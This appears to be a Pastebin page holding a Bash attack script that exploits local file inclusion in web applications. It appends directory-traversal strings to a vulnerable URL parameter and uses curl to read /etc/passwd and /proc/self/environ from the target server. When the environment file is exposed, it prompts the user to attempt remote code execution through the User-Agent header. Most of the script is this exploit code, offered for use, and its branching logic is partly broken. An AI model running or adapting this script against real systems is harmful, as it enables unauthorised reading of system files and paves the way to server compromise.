dnsx3

LFI VIA ETC/PROC

Aug 18th, 2015
486
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.57 KB | None | 0 0
  1. #!/bin/bash
  2. # A pilot project [ LFI ]
  3.  
  4.  
  5. if [ $1 -a $2 -a $3 ]
  6. then
  7. echo "[+]--------------------------------------------------------[+]"
  8. echo "[+] Coder By : Lov3rDns                                    [+]"
  9. echo "[+] Title    : LFI VIA ETC/PROC                            [+]"
  10. echo "[+] Homepage : http://pastebin.com/u/dnsx3                 [+]"
  11. echo "[+] 4U : Mr.Dm4r - xSecurity - Shark Hidden                [+]"
  12. echo "[+]--------------------------------------------------------[+]"
  13. else
  14. echo "
  15.  
  16. Usage : bash $0 http://localhost/lfi.php?dns= 0 etc
  17. Usage : bash $0 http://localhost/lfi.php?dns= 0 proc
  18.  
  19. "
  20. exit
  21. fi
  22.  
  23. #Settings etc/passwd
  24. urletc1="$1../../../../../../../../etc/passwd"
  25. urletc2="$1../../../../../../../../etc/passwd"
  26. urletc3="$1../../../../../../../../etc/passwd"
  27. urletc4="$1../../../../../../../../etc/passwd"
  28. urletc5="$1../../../../../../../../etc/passwd"
  29. urletc6="$1../../../../../../../../etc/passwd"
  30. #Settings proc/self/environ
  31. urlproc1="$1../../../../../../../proc/self/environ"
  32. urlproc2="$1../../../../../../../../proc/self/environ"
  33. urlproc3="$1../../../../../../../../../proc/self/environ"
  34. urlproc4="$1../../../../../../../../../../proc/self/environ"
  35. urlproc5="$1../../../../../../../../../../../proc/self/environ"
  36. urlproc6="$1../../../../../../../../../../../../proc/self/environ"
  37. scanproc1=$(curl -L $urlproc1 | grep "DOCUMENT_ROOT")
  38. scanproc2=$(curl -L $urlproc2 | grep "DOCUMENT_ROOT")
  39. scanproc3=$(curl -L $urlproc3 | grep "DOCUMENT_ROOT")
  40. scanproc4=$(curl -L $urlproc4 | grep "DOCUMENT_ROOT")
  41. scanproc5=$(curl -L $urlproc5 | grep "DOCUMENT_ROOT")
  42. scanproc6=$(curl -L $urlproc6 | grep "DOCUMENT_ROOT")
  43.  
  44.  
  45. if [ $2 = 1 -a $3 = 1 ]
  46. then
  47. echo `curl -L $urletc1`
  48. exit
  49. else
  50. echo "
  51.  
  52. Sorry .. etc/passwd empty :(
  53.  
  54. "
  55.  
  56. fi
  57.  
  58. if [ $2 = 1 -a $3 = 2 -a "$scanproc1" != "" ]
  59. then
  60.  
  61. echo -en '
  62. \E[47;31m'"\033[1m
  63. U Can Try Exploit Remote COde Evaluation by User Agent !
  64.  
  65. "
  66. exit
  67. else
  68. echo "
  69.  
  70. Sorry .. environ empty :(
  71.  
  72. "
  73. fi
  74.  
  75. # test 2
  76.  
  77. if [ $2 = 2 -a $3 = 1 ]
  78. then
  79. echo `curl -L $urletc2`
  80. exit
  81. else
  82. echo "
  83.  
  84. Sorry .. etc/passwd empty :(
  85.  
  86. "
  87. fi
  88.  
  89. if [ $2 = 2 -a $3 = 2 -a "$scanproc2" != "" ]
  90. then
  91.  
  92. echo -en '
  93. \E[47;31m'"\033[1m
  94. U Can Try Exploit Remote COde on User Agent !
  95.  
  96. "
  97. exit
  98. else
  99. echo "
  100.  
  101. Sorry .. environ empty :(
  102.  
  103. "
  104. fi
  105.  
  106.  
  107. # test 3
  108.  
  109. if [ $2 = 3 -a $3 = 1 ]
  110. then
  111. echo `curl -L $urletc3`
  112. exit
  113. else
  114. echo "
  115.  
  116. Sorry .. etc/passwd empty :(
  117.  
  118. "
  119. fi
  120.  
  121. if [ $2 = 3 -a $3 = 2 -a "$scanproc3" != "" ]
  122. then
  123.  
  124. echo -en '
  125. \E[47;31m'"\033[1m
  126. U Can Try Exploit Remote COde on User Agent !
  127.  
  128. "
  129. exit
  130. else
  131. echo "
  132.  
  133. Sorry .. environ empty :(
  134.  
  135. "
  136. fi
  137.  
  138. # test 4
  139.  
  140. if [ $2 = 4 -a $3 = 1 ]
  141. then
  142. echo `curl -L $urletc4`
  143. exit
  144. else
  145. echo "
  146.  
  147. Sorry .. etc/passwd empty :(
  148.  
  149. "
  150. fi
  151.  
  152. if [ $2 = 4 -a $3 = 2 -a "$scanproc4" != "" ]
  153. then
  154.  
  155. echo -en '
  156. \E[47;31m'"\033[1m
  157. U Can Try Exploit Remote COde on User Agent !
  158.  
  159. "
  160. exit
  161. else
  162. echo "
  163.  
  164. Sorry .. environ empty :(
  165.  
  166. "
  167. fi
  168.  
  169. #test 5
  170.  
  171. if [ $2 = 5 -a $3 = 1 ]
  172. then
  173. echo `curl -L $urletc5`
  174. exit
  175. else
  176. echo "Sorry .. etc/passwd empty :("
  177. exit
  178. fi
  179.  
  180. if [ $2 = 5 -a $3 = 2 -a "$scanproc5" != "" ]
  181. then
  182.  
  183. echo -en '
  184. \E[47;31m'"\033[1m
  185. U Can Try Exploit Remote COde on User Agent !
  186.  
  187. "
  188. exit
  189. else
  190. echo "
  191.  
  192. Sorry .. environ empty :(
  193.  
  194. "
  195. fi
  196.  
  197. # en0f
  198.  
  199. if [ $2 = 6 -a $3 = 1 ]
  200. then
  201. echo `curl -L $urletc6`
  202. exit
  203. else
  204. echo "Sorry .. etc/passwd empty :("
  205. exit
  206. fi
  207.  
  208. if [ $2 = 6 -a $3 = 2 -a "$scanproc6" != "" ]
  209. then
  210.  
  211. echo -en '
  212. \E[47;31m'"\033[1m
  213. U Can Try Exploit Remote COde on User Agent !
  214.  
  215. "
  216. exit
  217. else
  218. echo "
  219.  
  220. Sorry .. environ empty :(
  221.  
  222. "
  223. exit
  224. fi
Advertisement
Add Comment
Please, Sign In to add comment